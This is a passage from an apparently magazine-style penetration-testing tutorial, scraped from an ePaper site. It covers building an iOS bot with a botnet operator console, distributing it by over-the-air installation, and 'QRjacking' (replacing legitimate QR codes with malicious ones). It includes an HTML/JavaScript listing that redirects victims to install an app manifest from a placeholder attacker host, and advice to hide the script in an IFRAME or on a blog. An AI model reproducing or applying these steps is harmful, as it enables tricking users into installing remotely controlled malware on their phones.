02.06.2013 Views

Editor's note

Editor's note

Editor's note

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Figure 4. Botnet operator screen on application load<br />

if it is jailbroken, the installed applications should be<br />

abused.<br />

Step 3b: Verify bot operation<br />

After coding the logic into the application, some<br />

testing should be done in order to verify that the bot<br />

is operating as we expected. In order to do the tests,<br />

run the server as explained in step 2 and run the<br />

application using Xcode. It is recommended to run<br />

first on iPhone Simulator. The first state of the botnet<br />

operator should not contain any content, however<br />

after running the application, the terminal of the botnet<br />

operator should be as Figure 4, which means that the<br />

iPhone is connected.<br />

Since the iPhone is connected and waiting for<br />

commands, the botnet operator should write an iOS<br />

system call, e.g. ping –c 4 www.google.com, where the –c 4<br />

means that only four requests are sent. A malicious bot<br />

should be running endless loop. The results should be<br />

similar to the screenshot in Figure 5.<br />

The next step is to build an IPA file and test it on<br />

the iPhone. If you have a developer account, then<br />

you should know how to do this. If you don’t have a<br />

developer account, please Google it. Note that some<br />

of the commands that illustrated earlier might not work<br />

on the real iPhone, therefore you need to code the<br />

features, e.g. file system access, socket etc.<br />

Step 4: Publish QRbot on the web<br />

By this step we found a vulnerable QR reader and<br />

created a bot and botnet operator. In order to install the<br />

bot, we need to use a legitimate distribution method. In<br />

Figure 5. Control botnet remotely<br />

starterkit 02/2011(2)<br />

this case, we post the bot on an Internet published IIS<br />

web server, this installation type also known as overthe-air<br />

(OTA) installation. Additional requirements:<br />

static IP address and a DNS name (more reliable), an<br />

XML manifest file (view configuration tasks on Apple’s<br />

web site) and a developer account as single person<br />

or enterprise. The difference between single person to<br />

enterprise is the amount of bots per server, meaning<br />

that the enterprise account supplies unlimited number<br />

of endpoints (iPhone\iPdad). Since the deployment<br />

method is explained in details on iOS Developer Library<br />

(Apple’s web site), the explanation of this step includes<br />

only the important details to make the distribution<br />

work as part of the cyber attack. To accomplish the<br />

attack, create the following HTML page and name it<br />

default.html: Listing 1.<br />

Another option is to run the script in a hidden IFRAME<br />

or on a blog, as there are many blogging platforms<br />

available on the internet, most of which support and<br />

provide easy means to set a blog up and running in a<br />

matter of minutes.<br />

Note that the installation is based on ITMS (aka iTunes<br />

Music Store) protocol. Safari will use the link above in<br />

order to install the application. Important to mention is<br />

that the installation requires user’s approval, which will<br />

be discussed in the next step.<br />

Step 5: QRjacking & Scanjacking<br />

As explained before, social engineering is required in<br />

order to implement the attack. The first action should<br />

be QRjacking, which means that malicious QR should<br />

be replaced with the legal QR. However, it might be<br />

Listing 1. QRjacking<br />

<br />

<br />

<br />

QRbot<br />

<br />

<br />

<br />

//Replace MALSITE.com with<br />

your site<br />

window.location="itmsservices://?action=downloadmanifest&url=http:<br />

//MALSITE.com/manifest.plist";<br />

<br />

<br />

Page 9 http://pentestmag.com

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!